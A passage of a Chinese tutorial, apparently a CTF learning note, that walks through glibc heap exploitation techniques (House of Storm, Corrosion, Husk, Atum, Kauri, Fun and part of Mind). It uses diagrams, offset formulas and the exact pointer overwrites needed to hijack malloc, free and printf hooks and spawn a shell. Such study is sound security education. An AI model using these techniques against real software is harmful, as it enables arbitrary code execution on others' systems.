而house of storm其实是利用了利用开启了 PIEx64 程序的堆地址总是 0x55xxxx... 或者 0x56xxxx... 开头这一特性

先申请 Chunk L (Large): 比如 malloc(0x400)。它将来会被送入 Large Bin。

申请 Guard 1: 比如 malloc(0x18)。防止 L 和后面的块合并。

申请 Chunk U (Unsorted): 比如 malloc(0x3f0)。它的大小必须比 L 小一点点,它将来会被送入 Unsorted Bin。

申请 Guard 2: 比如 malloc(0x18)。防止 U 与 Top Chunk 合并

[ 阶段一:初始堆布局 ]
+------------------+
| Chunk L (0x410) | ---> 准备用于 Large Bin Attack
+------------------+
| Guard 1 (0x20) | ---> 隔离墙
+------------------+
| Chunk U (0x400) | ---> 准备用于 Unsorted Bin Attack
+------------------+
| Guard 2 (0x20) | ---> 隔离墙
+------------------+
| Top Chunk |
+------------------+

释放 Chunk L: free(L)。此时 L 进入 Unsorted Bin。

申请一个更大的 Chunk: 比如 malloc(0x420)。为了满足这个巨大的请求,系统会遍历 Unsorted Bin,发现 L 不够大,于是把 L 踢进 Large Bin 中进行分类整理。

释放 Chunk U: free(U)。此时 U 进入 Unsorted Bin

[ 阶段二:链表状态 ]
Large Bin:
[Head] ---> Chunk L ---> [Tail]

Unsorted Bin:
[Head] ---> Chunk U ---> [Tail]

现在,利用堆溢出或 UAF 漏洞,开始对 L 和 U 写入恶意的指针。假设我们的目标地址是 Fake_Chunk(比如 __free_hook 附近)

写入操作:

  1. 修改 U (Unsorted Bin Attack):U->bk 修改为 Fake_Chunk
  2. 修改 L (Large Bin Attack):
    • L->bk 修改为 Fake_Chunk + 0x08
    • L->bk_nextsize 修改为 Fake_Chunk - 0x20 + 3
[ 阶段三:篡改后的指针指向 ]
Chunk U:
bk ---> Fake_Chunk

Chunk L:
bk ---> Fake_Chunk + 0x08
bk_nextsize ---> Fake_Chunk - 0x20 + 3

万事俱备,最后一步:申请一个大小为 0x48 的 Chunk(对应 0x50 的 bin)。 执行 malloc(0x48) 时,系统开始处理 Unsorted Bin 里的 Chunk U,发现它大小不符合 0x50,准备把它也塞进 Large Bin 里

系统执行 U->bk->fd = main_arena

由于 U->bkFake_Chunk,系统将 main_arena 写入了 Fake_Chunk + 0x10(即 fd 字段)

接下来把U放到Large Bin里,但是发现里面已经放着一个比自己还大的chunk L,然后需要更新大小顺序链表

为了把 U 挂到 L 后面较小块的位置,glibc 执行了以下核心代码: L->bk_nextsize->fd_nextsize = U;

写入位置是:(Fake_Chunk - 0x20 + 3) + 0x20 = Fake_Chunk + 3fd_nextsize 这个字段的偏移量固定是 +0x20

系统把 U 的堆地址(比如 0x000056AABBCCDDEE)写到了这里

这个地址最高位的字节 0x56,刚好向后偏移了 5 个字节,完美落在了 Fake_Chunk + 0x08 的位置,也就是 Chunk 的 Size 字段

系统在检查 Size 时,读取 +0x08+0x0F 的值,读出来的就是 0x0000000000000056,强行“拼”出了一个合法的大小

[ 错位写内存推演图 ]

内存偏移: +0 +1 +2 | +3 +4 +5 +6 +7 | +8 +9 +A +B +C +D +E +F
原本字段: [ prev_size (8字节) ] | [ Size (8字节) ]

开始写入堆地址 (0x000056AABBCCDDEE) -> 从 +3 开始写:

+3 处写入: EE
+4 处写入: DD
+5 处写入: CC
+6 处写入: BB
+7 处写入: AA
======================== 跨界分割线 ========================
+8 处写入: 56 <---- 奇迹发生!
+9 处写入: 00
+A 处写入: 00

系统尝试更新双向链表,执行 L->bk->fd = U。 写入位置是:(Fake_Chunk + 0x08) + 0x10 = Fake_Chunk + 0x18。 系统把 U 的堆地址写到了这里,成为了 Fake_Chunkbk 指针

[ 完成后的 Fake_Chunk 内存布局 ]

地址 字段 内容及来源
-----------------------------------------------------------
Fake_Chunk+0x00 | prev_size | (不在乎)
Fake_Chunk+0x08 | Size | 0x56 (来自堆地址最高位,错位写入)
Fake_Chunk+0x10 | fd | main_arena (来自 Unsorted Bin Attack)
Fake_Chunk+0x18 | bk | 0x56AABBCCDDEE (来自 Large Bin Attack)

此时的 Fake_Chunk 完美伪装成了一个大小为 0x56(掩码后为 0x50),且拥有合法 libc 和 heap 链表指针的空闲块!

紧接着,系统的 malloc(0x48) 循环继续执行,它顺着链表立刻就发现了这个“崭新”的、大小正好为 0x50 的块。 检查通过,分配成功!你拿到了任意地址的写权限

需要注意的是:

0x55 会触发 assert 断言,0x56 才能成功

因为我们前面系统把main_arena写入了fake chunk,所以其实取fake chunk的时候是从unsorted bin里取的

House of Corrosion

适用版本:2.23—— 至今

堆溢出、use after free

了解利用之前,我们需要知道在 glibc 中,Fastbin 默认只处理非常小的 chunk(比如 0x80 以下)。这个上限是由一个全局变量 global_max_fast 控制的

我们需要一个足够大的 Chunk,以及一个防止它和 Top Chunk 合并的保护块

[ 初始堆布局 ]

+------------------+
| Chunk U (0x420) |
+------------------+
| Guard (0x30) | ---> 隔离墙,处于使用状态
+------------------+
| Top Chunk |
+------------------+

free(U)

此时,Chunk U 被放入了 Unsorted Bin

系统会自动在它的 fdbk 里写入 main_arena+88 的真实地址

[ 释放 U 之后的内存状态 ]

+-------------------------+
| Chunk U |
| Size: 0x420 |
| fd: 0x7f...B58 (main_arena+88) |
| bk: 0x7f...B58 (main_arena+88) | ---> 注意这个 bk
+-------------------------+

由于 global_max_fastmain_arena 都在 libc 的数据段里,它们之间的距离(偏移量)是永远固定的。 因此,它们的真实地址在高位上完全一样,只有最后几个十六进制字符不同

利用溢出或 UAF 漏洞,向 Chunk Ubk 字段写入 2 个字节

写入的内容是:(&global_max_fast - 0x10) 的最后两个字节(因为 Unsorted Bin Attack 会向 目标地址 + 0x10 的位置写入数据)

[ 局部覆盖推演图 ]

原始 bk 里的值 (main_arena+88):
0x7fxx xxyy yB58 (假设倒数第4位 y 是随机的)

目标地址 (&global_max_fast - 0x10):
0x7fxx xxyy yED0 (假设调试出的固定末尾是 ED0)

【局部篡改动作】
只覆盖最后两字节,试图把 bk 强行掰弯指向目标:
bk: 0x7fxx xxyy yED0 <--- 这里的 'y' 需要我们盲猜 (1/16 概率爆破)

然后再malloc(0x410)

当你申请一个和 Chunk U 刚好一样大的内存时,系统遍历 Unsorted Bin,发现完美匹配,准备把它摘下来给你

系统执行解链操作:U->bk->fd = main_arena+88

系统执行: *( (&global_max_fast – 0x10) + 0x10 ) = main_arena_address

也就是: *( &global_max_fast ) = main_arena_address

[ libc 数据段的最终结局 ]

篡改前:
+-------------------------+
| global_max_fast | ===> 值: 0x0000000000000080 (正常的 Fastbin 限制)
+-------------------------+

触发 malloc(0x410) 之后:
+-------------------------+
| global_max_fast | ===> 值: 0x7fxxxxxyyyB58 (变成了极其巨大的地址数值)
+-------------------------+

现在,就算你释放一个大小为 0x4000 的 Chunk,glibc 也会傻乎乎地把它当成 Fastbin chunk 来处理

在 glibc 的源码中,Fastbin 是一个数组 fastbinsY。系统通过 Chunk 的大小来计算它属于数组的第几个元素(Index):

$$
Index = \frac{Size – 0x20}{0x10}
$$

同时,在物理内存中,由于每个数组元素是一个指针(64位系统下占 8 个字节),目标地址 $X$ 距离数组开头 &main_arena.fastbinsY 的物理偏移量 $\Delta$ 可以转化为数组的索引:

$$
Index = \frac{X – \&main\_arena.fastbinsY}{8}
$$

我们将这两个公式等价代入,解出我们需要的 Size:

$$
\frac{Size – 0x20}{0x10} = \frac{X – \&main\_arena.fastbinsY}{8}
$$

$$
Size – 0x20 = (X – \&main\_arena.fastbinsY) \times 2
$$

$$
Size = (X – \&main\_arena.fastbinsY) \times 2 + 0x20
$$

只要给定目标地址 X,算出一个 Size,然后释放这个大小的 Chunk,系统就会精准地把 X当作 Fastbin 的链表头

目标点 X:我们要篡改的地方,这里假设看成是 __malloc_hook

接下来申请 Chunk O (Overflow,用来实施溢出),再申请 Chunk A

我们通过公式算出对应的size,然后用chunk0的溢出将 Chunk A 的 Size 改为X (__malloc_hook) 的尺寸

Size_X: 能够让 Fastbin 索引刚好定位到 __malloc_hook 的大小。

Size_M: 能够让 Fastbin 索引刚好定位到 main_arena.bins[0] 的大小(这里面必定存着 main_arena+88 这个真实的 libc 地址)

利用 Chunk O 溢出写 Chunk A 的头部:
+-------------------------+
| Chunk O 内部数据 |
| ... |
| 溢出覆盖 A 的 prev_size |
| 溢出覆盖 A 的 Size 为 Size_X |
+-------------------------+
| Chunk A 数据区 | ---> 随后执行 free(A)
+-------------------------+

然后 free(A)系统把 X 当作链表头,指向了 A

[ libc 数据段: __malloc_hook (目标 X) ]
|
V (系统认为这是链表头)
+-------------------------+
| 堆区: Chunk A |
| fd: (malloc hook 里的垃圾) |
+-------------------------+

再次利用 Chunk 0溢出,将 Chunk A 的 size 改为 Size_M。再次执行 free(A)

系统根据 Size_M 计算出另一个 Fastbin 索引,将 main_arena.bins[0] 视为链表头。它将 Chunk A 插入此链表,并将 bins[0] 中原本存放的真实 libc 地址赋值给 Chunk A -> fd

[ 步骤二完成后的内存状态 ]

[ glibc 数据段 ]
__malloc_hook ----------------> [ 堆区: Chunk A ] <----(此时 A 同时被两个链表头指向)
|
main_arena.bins[0] ------------> +--> fd: 0x7fxxxxxxB58
(被视为 fastbinsY[idx_M]) (成功获取了 main_arena+88 的真实地址)

此时 Chunk A 依然在堆上,且我们拥有 Chunk O 的溢出控制权。利用 Chunk O 溢出,只覆盖 Chunk A -> fd低 3 个字节,将其从 main_arena+88 的末尾修改为 one_gadget 的末尾(需要 1/4096 爆破)

[ 步骤三完成后的内存状态 ]

[ 堆区: Chunk A 内部数据 ]

修改前:
fd: 0x7fxxxxxx B58 (main_arena+88)

局部溢写后:
fd: 0x7fxxxxxx 123 (变成了 one_gadget 的绝对地址)

利用 Chunk 0溢出,将 Chunk A 的 size 改回 Size_X,执行 malloc(Size_X)

系统去处理 Size_X 的请求,定位到链表头 __malloc_hook

发现链表头指向 Chunk A,决定将 Chunk A 分配出去。

核心动作: 系统执行 Fastbin 解链的标准代码 *head = chunk->fd

在这里,head 就是 __malloc_hookchunk->fd 就是我们刚刚修改好的 one_gadget 地址

[ 步骤四执行时的系统解链赋值 ]

系统底层代码等价于执行:
__malloc_hook = Chunk_A -> fd

[ 最终的 glibc 数据段状态 ]
__malloc_hook ===> 内容变为: 0x7fxxxxxx123 (one_gadget)

程序后续只要再次触发任意的 malloc 调用,就会直接执行 __malloc_hook 里的 one_gadget,拿到 Shell

需要注意的是:

  • glibc-2.37 版本中,global_max_fast 的数据类型被修改为了 int8_u,进而导致可控的空间范围大幅度缩小
  • house of corrosion 也可以拓展到 tcachebin

House of Husk

适用版本:2.23—— 至今

堆溢出,use after free

前置知识:

在 glibc 的设计中,printf 其实极其灵活。它允许程序员自己注册一些稀奇古怪的格式化控制符(比如你可以自己定义一个 %K,让它输出特定格式的时间)

为了实现这个功能,glibc 在内部维护了两个全局函数指针数组

  • __printf_function_table
  • __printf_arginfo_table

正常情况下,这两个表都是空的(NULL),printf 就会走速度极快的“默认解析路线”。

致命弱点: 一旦 __printf_function_table 不为空(哪怕它只是随便指向了一个非零的垃圾地址),printf 就会认为:“哦!程序员注册了自定义格式!”,从而切换到一条极其缓慢、且充满危险的“慢速解析路线”

在这条慢速路线上,当 printf 解析到一个占位符(比如 %s)时,它会直接把字符 's' 的 ASCII 码作为数组下标,去 __printf_arginfo_table 里找对应的函数指针,并直接执行

还需要知道一点,_malloc_assert 报错时会打印 %s,当 malloc 内部的安全检查(比如检查 Top Chunk 的 Size)不通过时,它会调用 __malloc_assert 函数来抛出异常。这个函数的源码如下:

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
/* 重点看下面这一行!这是真正的致命字符串! */
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

了解这些之后,我们就可以开始利用了

先申请大块,布置堆块布局如下:

[ 堆区:申请阶段 ]
+-------------------+
| Chunk L3 (0x430) |
+-------------------+
| Guard (0x20) | ---> 隔离墙
+-------------------+
| Chunk B (0x410) |
+-------------------+

我们要劫持的是 %s 这个占位符,字符 's' 的 ASCII 码是 115(十六进制 0x73),对应的数组下标就是115

在 64 位系统中,一个指针占 8 字节。所以处理 %s 的函数指针,应该放在数组的 115 * 8 = 920(即 0x398)偏移处

利用编辑(Edit)或溢出漏洞,在 Chunk B 内部偏移为 +0x398 的位置,精准写入 one_gadget 的绝对地址

[ 堆区:伪造的 Chunk B 内部视角 ]

起始地址: 0x55xxxxxxB000 (Chunk B 的数据区开头)
+---------------------------------------------------+
| 偏移量 | 对应字符 | 填入的内容 |
+---------------------------------------------------+
| +0x000 | ASCII 0 | 0x0000000000000000 |
| +0x008 | ASCII 1 | 0x0000000000000000 |
| ... | ... | ... 全部用 0 填充 ... |
+===================================================+
| +0x398 | ASCII 115| 0x7fxxxxxx1234 (one_gadget) | <--- 写入one_gadget的绝对地址(对应 '%s')
+===================================================+
| ... | ... | ... |
+---------------------------------------------------+

free(L3),L3就会先进入Unsorted Bin,然后再malloc(0x500)

系统检查发现申请的块比L3大,接着把L3放入

然后free(Chunk B),把它扔进 Unsorted Bin 待命

接着就是Large bin attack

利用溢出或是uaf,篡改 L3bk_nextsize

[ 陷阱布置完毕 ]

[ Large Bin 里的老大哥 L3 ]
bk_nextsize ===> __printf_arginfo_table - 0x20

[ Unsorted Bin 里的主角 Chunk B ]
肚子里装着 one_gadget,静静等待被插入。

我们再申请一个 malloc(0x500),系统去处理 Unsorted Bin 里的 Chunk B。发现它属于 Large Bin,而且比 L3

系统执行致命的插入代码:L3->bk_nextsize->fd_nextsize = Chunk B

也就是(__printf_arginfo_table – 0x20) + 0x20 = Chunk B

libc 数据段:
__printf_arginfo_table ===> [ Chunk B 的绝对堆地址 ]

(因为 Chunk B 的绝对地址被写进去了,而 Chunk B 的 +0x398 处早就被我们填好了 one_gadget,整个查表逻辑瞬间完美闭环

基础设施替换完毕,现在需要逼迫系统去调用 printf。 我们利用堆溢出,悄悄把堆底部的 Top ChunkSize 字段破坏掉

在 64 位系统中,一个 Chunk 最起码要包含头部的字段,所以最小合法尺寸(MINSIZE)是0x20

[ 堆区末端:Top Chunk ]

破坏前:
Size ===> 0x0000000000020fe1 (正常的剩余空间)

利用堆溢出破坏后:
Size ===> 0x000000000000000f (极小的不合法数值)

最后malloc(0x20)

[ 内存接管的底层执行流 ]

1. 用户执行: malloc(0x20)
|
V
2. 系统检查: 去 Top Chunk 切割,发现 Size = 0x0F,内存损坏!
|
V
3. 触发保护: 系统调用 __malloc_assert 准备打印红色报错信息。
|
V
4. 调用格式化: 报错代码底层执行 printf("... %s ...")
|
V
5. 检查开关: printf 发现 __printf_function_table 不是 0!(进入查表模式)
|
V
6. 查表寻址: 遇到 "%s",提取字符 's' (ASCII 115)。
| 系统去 __printf_arginfo_table 找数组。
| 计算地址:Base + 115 * 8 = Base + 0x398
V
7. 提取指针: 系统来到 [ Chunk B + 0x398 ],取出了里面的指针。
|
V
8. 最终劫持: call 0x7fxxxxxx1234 (系统毫不犹豫地执行了 one_gadget)

需要注意的是:

这个手法需要保证__printf_function_table 不为0,

如果为0可以用同样的large bin attack 方法把这个值改成Chunk B 的地址也行,这样也达到不为0的效果

House of Atum

适用版本:2.26——2.30

edit after free

先申请一个chunkA属于 Fastbin 大小范围(比如大小为 0x50)

在 2.26 版本中,Tcache 的最大容量是 7 个,装满后就会退化使用 Fastbin。因为没有 Double Free 检查,我们直接对同一个 Chunk A 连续执行 8 次 free

前 7 次填满 Tcache,第 8 次溢出到了 Fastbin

[ 状态一:8 次 Free 后的物理内存与链表 ]

Tcache [0x50] (Count = 7,已满)
+-------------------+ +-------------------+
| Chunk A 地址 | ---> | Chunk A 地址 | ---> ... (自己指自己的死循环)
+-------------------+ +-------------------+

Fastbin [0x50]
+-------------------+ +-------------------+
| Chunk A 地址 | ---> | 0x000000000000000 | (空)
+-------------------+ +-------------------+

我们执行一次 malloc(0x40),系统会从 Tcache 拿走头部的 Chunk A 交给我们。 此时 Tcache 的 Count 减 1 变成了 6,腾出了一个空位

拿到控制权后,我们利用漏洞,向 Chunk A 写入 8 个字节的 payload:p64(A - 0x10)

[ 状态二:UAF 篡改 Fastbin 结构 ]

拿到 Chunk A 后,我们改写了它的 fd 字段。
系统眼里的链表变成了这样:

Tcache [0x50] (Count = 6,有 1 个空位)
+-------------------+
| Chunk A 地址 | ---> ... (依旧是死循环)
+-------------------+

Fastbin [0x50]
+-------------------+ +-------------------+
| Chunk A 地址 | ---> | 指向 A - 0x10 | <--- 假块被强行挂上去了!
+-------------------+ +-------------------+

系统看到 Fastbin 后面还挂着个 A - 0x10,而此时 Tcache 刚好还有一个空位(Count=6)。系统决定顺手把它搬运过去

[ 状态三:系统亲手将假块送入 Tcache ]

搬运完成后的链表状态:

Fastbin [0x50]
+-------------------+
| 0x000000000000000 | <--- 被完全掏空
+-------------------+

Tcache [0x50] (Count = 7,再次满员)
+-------------------+ +-------------------+
| 指向 A - 0x10 | ---> | 指向 Chunk A 地址 | ---> ...
+-------------------+ +-------------------+
(极其致命!我们的目标地址 A-0x10,现在成了 Tcache 的绝对头部!)

现在,我们再执行一次普通的 malloc(0x40)。 系统会非常听话地把 Tcache 顶端的 A - 0x10 这块“内存”分配给我们

我们拿到这块内存后,立刻往里面写数据,直接覆盖原本合法的 Chunk 结构体,这样就能修改chunk A的size了

[ 状态四:覆写内存现场 ]

你正在编辑刚刚申请到的 "A - 0x10" 内存块:
+-------------------+
| 写入的第 00-07 字节| ===> 物理覆盖了 Chunk A 的 prev_size
+-------------------+
| 写入的第 08-15 字节| ===> 物理覆盖了 Chunk A 的 size (改成巨大值构造 Overlap!)
+-------------------+
| 写入的第 16-23 字节| ===> 这里才是 Chunk A 原本的 fd (用户数据区)
+-------------------+
| 写入的第 24-31 字节| ===> Chunk A 原本的 bk
+-------------------+

后续利用前一般会在堆上申请几个块,比如Chunk B (0x20)Chunk C (0x50)

+-------------------+
| Chunk A (0x50) | <--- 我们刚才拿到了修改它头部的权限 (A - 0x10)
+-------------------+
| Chunk B (0x20) | <--- 正常使用中
+-------------------+
| Chunk C (0x50) | <--- 正常使用中
+-------------------+
| Top Chunk |
+-------------------+

我们利用刚拿到的 A - 0x10 控制权,强行修改 Chunk A 的 Size。 原本 A 的 Size 是 0x50,我们把它改成 0x50 + 0x20 + 0x50 = 0xC0

系统现在认为,从 Chunk A 开始,下方 0xC0 大小的区域,是一个完整、巨大的堆块!它完全无视了 B 和 C 的存在

+-------------------+ \
| Chunk A 头部 | |
| Size ===> 0xC0 | |
+-------------------+ |
| Chunk A 数据区 | |
+-------------------+ | ===> 系统眼中:这是一个包含 ABC 的 0xC0 巨型块!
| Chunk B (0x20) | |
+-------------------+ |
| Chunk C (0x50) | |
+-------------------+ /

为了利用这种幻觉,我们要进行两次释放。

  1. free(C):释放受害者。系统正常把 Chunk C 放入 Tcache [0x50] 的链表中。
  2. free(A):释放那个被我们篡改了 Size 的巨型块。系统把它放入 Tcache [0xC0](或者 Unsorted Bin,取决于大小设定)

然后我们立刻把巨型块申请回来:malloc(0xB0),注意此时Chunk C 此时依然挂在 Tcache [0x50] 的空闲链表上

你通过 malloc(0xB0) 拿到了巨型块的写入权:
+-------------------+
| 巨型块 写入范围 |
| (原本 A 的位置) |
+-------------------+
| 巨型块 写入范围 |
| (原本 B 的位置) |
+-------------------+
| 巨型块 写入范围 | <--- 你可以直接往这里写数据!
| (原本 C 的位置) | ===> !!!同时它也是 Tcache [0x50] 链表的头部
+-------------------+

这等同于你直接掌握了 Tcache 链表的 next 指针!

你在这个巨型块的对应偏移处(也就是 C 的数据区开头),写入目标函数的绝对地址,比如 __free_hook

[ Tcache [0x50] 的链表视角 ]

原本:
头部指针 ===> [ Chunk C ] -> 0x00...00

你利用巨型块跨界覆写 C 的前 8 字节后:
头部指针 ===> [ Chunk C ] -> [ __free_hook 的绝对地址 ]

第一次 malloc(0x40):系统去 Tcache [0x50] 拿内存,把 Chunk C 分配给了你。 此时,Tcache 的头部指针,顺着链表,指向了你刚才伪造的 __free_hook

第二次 malloc(0x40):系统再次去 Tcache [0x50] 拿内存,它极其听话地把你要求的 __free_hook 所在的内存分配给了你!

你向拿到的这块内存中,写入 system 或者 one_gadget

随便 free 一个内容是 "/bin/sh" 的堆块。系统调用 __free_hook,直接弹 Shell

House of Kauri

适用版本:2.26—— 至今

double free

简单说就是多个 tcachebin 链表中存放同一个 chunk

准备三个相邻的堆块。 我们需要一个用来实施溢出的 Chunk O,一个用来被连续释放两次的受害者 Chunk A,以及永远的隔离墙 Guard

[ 堆区:初始物理内存布局 ]

+-------------------+
| Chunk O (0x20) | ---> 角色:控制者 (拥有堆溢出漏洞)
+-------------------+
| Chunk A (0x20) | ---> 角色:受害者 (需要程序允许对它 free 两次)
+-------------------+
| Guard (0x20) | ---> 角色:物理隔离墙
+-------------------+
| Top Chunk |
+-------------------+

我们首先正常释放 Chunk A。 在 glibc 2.29+ 中,系统会在 A 的 bk 位置写入一个 tcache_key(通常是 tcache 结构体的地址),以此来防止你再次释放它

[ 状态一:第一次释放后的内存现场 ]

【链表视角】
Tcache [0x20]
+-------------------+
| 指向 Chunk A 地址 | ---> 0x00...00
+-------------------+

【堆区物理视角】
+-------------------+
| Chunk O (0x20) | (正常使用中)
+===================+
| Chunk A 的头部 |
| prev_size: 0x00 |
| size: 0x21 | <--- 真实的 Size 是 0x20 (末位 1 代表前块使用中)
+-------------------+
| fd (next): 0x00 |
+-------------------+
| bk (key): [密钥] |
+-------------------+

我们利用 Chunk O 的堆溢出漏洞,跨界写入数据,精准覆盖 Chunk A 的 size 字段。我们把它改成 0x31

注意:我们不动那个 key,我们也根本不需要知道那个 key 是多少

[ 状态二:堆溢出篡改 Size ]

我们编辑 Chunk O,溢出覆盖到下方:

+===================+
| Chunk A 的头部 |
| prev_size: 0x00 |
| size: 0x31 | <--- 被我们强行改成了 0x31!
+-------------------+
| fd (next): 0x00 |
+-------------------+
| bk (key): [密钥] |
+-------------------+

接着我们对着同一个 Chunk A,再次执行 free(A)

系统的底层查重逻辑:

  1. 读取 A 的 Size,发现是 0x30
  2. 系统得出结论:“哦,这是个 0x30 的块,我得去查 Tcache [0x30] 的桶,看看里面有没有带着这把 key 的 Chunk A。”
  3. 系统翻遍了 Tcache [0x30],里面干干净净(因为 A 之前被放进的是 0x20 的桶!)。
  4. 系统认为安全,没有重复释放
  5. 系统将 Chunk A 挂入了 Tcache [0x30]
[ 状态三:量子纠缠!同一个堆块挂在两个桶里 ]

Tcache [0x20]
+-------------------+
| 指向 Chunk A 地址 | ---> 空
+-------------------+

Tcache [0x30]
+-------------------+
| 指向 Chunk A 地址 | ---> 空
+-------------------+

既然 A 同时存在于两个桶里,这其实就是最完美的 Overlapping(内存重叠)

我们执行 malloc(0x30)。 系统会把 Tcache [0x30] 里的头牌——Chunk A 分配给我们

拿到 A 的控制权后,我们直接向里面写入 __free_hook 的地址。 因为 Chunk A 此时依然挂在 Tcache [0x20] 的桶里,我们写入的数据,在物理上直接覆写了 Tcache [0x20] 链表里的 next 指针

此时,系统在 Tcache [0x20] 眼里的链表变成了:
Tcache [0x20]
+-------------------+ +-------------------+
| 指向 Chunk A 地址 | ---> | 指向 __free_hook |
+-------------------+ +-------------------+

后续就正常的申请两次0x20然后把__free_hook改成system地址就行了

House of Fun

适用版本:2.23——2.30

堆溢出、use after free

说白了就是Large bin Attack

我们申请两个较大的 Chunk(A 和 B),确保它们属于 Largebin 的大小范围。我们将 Chunk A 释放,它会被放入 Unsorted bin,随后被整理进 Largebin。此时 Chunk B 仍在使用中。我们还有一个相邻的 Chunk O 准备用于溢出

[ Largebin ]
|
v
+=========================+
| Chunk A 的头部 (0x420) | (已经在 Largebin 中)
| prev_size: 0x00 |
| size: 0x421 | (PREV_INUSE位=1)
+-------------------------+
| fd: -> (Largebin Top) |
| bk: -> (Largebin Top) |
| fd_nextsize: A | (单节点链表,指向自身)
| bk_nextsize: A | (单节点链表,指向自身)
+-------------------------+


[ 物理内存从低到高 ]

+===================+
| Chunk O (0x20) | <-- 我们在使用它,用于稍后向下溢出
+===================+
| Chunk A (0x420) | <-- 目标块。位于 Largebin中
+===================+
| Guard 1 (0x20) | <-- 【关键!】永远不释放它,作为一堵墙,防止 A 和 B 合并
+===================+
| Chunk B (0x410) | <-- 稍后被释放,作为触发漏洞的 victim
+===================+
| Guard 2 (0x20) | <-- 防止 B 释放时与最底部的 Top Chunk 合并
+===================+
| Top Chunk |
+===================+

我们使用相邻的 Chunk O 进行堆溢出,覆盖 Chunk A 的关键指针。目标是将 bk_nextsize 修改为我们要写入的 Target_Addr - 0x20

+=========================+
| Chunk A 的头部 (0x420) |
| prev_size: 0x00 |
| size: 0x421 |
| fd |
| bk |
+-------------------------+
| fd_nextsize |
| bk_nextsize: [Target-0x20] | <--- 被我们强行改成了 目标地址 - 0x20!
+-------------------------+

我们释放 Chunk B,它会被放入 Unsorted bin

[ Largebin (已畸形) ]          [ Unsorted bin ]
| |
v v
+=========================+ +===================+
| Chunk A 的头部 (0x420) | | Chunk B (0x410) | (即将被移入 Largebin)
| prev_size: 0x00 | | prev_size: 0x00 |
| size: 0x421 | | size: 0x411 |
| fd | +-------------------+
| bk | | fd |
+-------------------------+ | bk |
| fd_nextsize | +-------------------+
| bk_nextsize: [Target-0x20] |
+-------------------------+

我们在程序中申请一个比 Chunk B 更大的 Chunk

glibc 遍历 Unsorted bin,遇到了 Chunk B (0x410),发现它太小了

glibc 发现 Chunk B 属于 Largebin 大小,准备将其插入 Largebin。

glibc 会寻找插入位置,因为 B < A,B 会被链入 A 的“后面”

然后执行chunkA->bk_nextsize->fd_nextsize = chunk B

就是( [Target_Addr – 0x20] ) -> fd_nextsize = &Chunk B;

*(Target_Addr) = &Chunk B

[ glibc 执行链表插入...]

+-------------------------+
| 目标内存区域 (Target) |
+-------------------------+
| ... |
| Target_Addr - 0x20 | <---+
| | |
| [Target_Addr]: [B基址] | <---|--- 漏洞效果:此处成功写入了 Chunk B 的堆基地址!
+-------------------------+

后续的利用方法就很多了,这里就举个例子:

我们将 Target_Addr 设置为 libc 中的 _IO_list_all 指针。

写入堆地址后,系统的文件流链表头就被劫持到了我们在堆上伪造的 Chunk B 中

我们提前在 Chunk B 里精心伪造一个 _IO_FILE 结构体和对应的 vtable(虚表指针)

当程序调用 exit() 或者触发内存错误调用 abort() 时,会强制刷新所有的 IO 流。系统顺着 _IO_list_all 找到我们的伪造堆块,最终执行我们伪造的虚表函数(例如指向 system("/bin/sh")),直接 getshell

House of Mind

适用版本:2.23—— 至今

堆溢出

前置知识:在 glibc 中,主线程的堆叫 main_arena,而子线程的堆叫 non_main_arena。 为了区分,每个 Chunk 的 Size 字段最低 3 位里,除了代表前一个块是否使用的 P(0x1),还有一个 N(0x4),代表 NON_MAIN_ARENA

当对 Chunk A 执行 free(A) 时,系统会看一眼 Size

  1. 如果没有 N 标志(主线程):直接把 Chunk A 交给 main_arena 处理。
  2. 如果有 N 标志(子线程): 系统需要找到这个子线程的 Arena 在哪。怎么找?它会直接把 Chunk A 的地址,向低地址对齐到一个巨大的边界(32位是 1MB,64位是 64MB)。系统坚信,在这个对齐的边界地址上,一定存放着一个 heap_info 结构体,里面写着真正 Arena 的地址

注:64MB 在十六进制下是 0x4000000。对齐操作就是 ptr & 0xFFFFFFFFFC000000

为了控制那个 64MB 对齐的边界,我们需要利用题目“可以分配任意大小的 chunk”的条件,申请一块极其巨大的内存(通常会触发 mmap),确保我们能覆盖到一个 0x4000000 对齐的地址

了解这些之后,就可以开始利用了

malloc(0x4500000) (大约 70MB):我们称之为 Chunk M (Massive)。因为 64 位系统的对齐边界是 64MB (0x4000000),申请一个大于 64MB 的块,在物理上绝对能横跨并覆盖到一个完美的 64MB 对齐地址

然后malloc(0x20) Chunk O

再malloc(0x20) Chunk A (大小在 Fastbin 范围内)

[ 状态零:初始分配完毕的物理内存现场 ]

绝对物理地址
0x7f...A0000000 +------------------------------------+ <--- Chunk M 起始位置
| Chunk M (70MB 的巨型块) |
| (由于太大,系统使用 mmap 分配) |
| |
0x7f...C0000000 +====================================+ <--- 极其关键的 64MB 对齐边界!
| (这块边界刚好落在 Chunk M 的肚子里)|
| 我们对这里拥有绝对的读写控制权! |
| |
0x7f...E5000000 +------------------------------------+ <--- Chunk M 结束位置
| (内存间隙 / 其他映射区) |
0x55...00010000 +------------------------------------+ <--- 常规堆区 (brk)
| Chunk O (0x20) | <--- 我们的溢出源
+------------------------------------+
| Chunk A (0x20) | <--- 我们的受害者 (Fastbin 大小)
+------------------------------------+

假设我们的最终目标,是把 Chunk A 的堆地址,写入到目标的 GOT 表地址(假设叫 Target

伪造 Fake Arena:在 Chunk M 的任意位置(或者干脆就在 Target 附近算好偏移),构造一个假的 malloc_state 结构体,使得它的 fastbinsY[idx] 数组刚好重合在 Target 地址上

伪造 heap_info:向那个刚好位于 0x7f...C0000000(64MB 对齐)的地址处写入数据。在这个结构体的开头,填入你刚才算好的 Fake Arena 的绝对地址

[ 状态一:在 Chunk M 内部署基础设施 ]

0x7f...C0000000 +------------------------------------+ 64MB 对齐边界
| Fake heap_info 结构体 |
| ar_ptr: [ Fake Arena 的绝对地址 ] |
+------------------------------------+

【算好偏移的 Fake Arena】
Fake Arena 起始 +------------------------------------+
| mutex (填 0) |
| flags (填 0) |
+------------------------------------+
| fastbinsY[0] |
| fastbinsY[1] (假设 Chunk A 对应此项)| ===> 物理坐标精准重合在 Target 上!
+------------------------------------+

Chunk O 发送过长的数据,触发堆溢出。跨界覆盖下方 Chunk A 的头部。 Chunk A 真实的 Size 是 0x21(代表大小 0x20,前块使用中)。我们加上 0x4(代表 NON_MAIN_ARENA)。 0x21 + 0x4 = 0x25

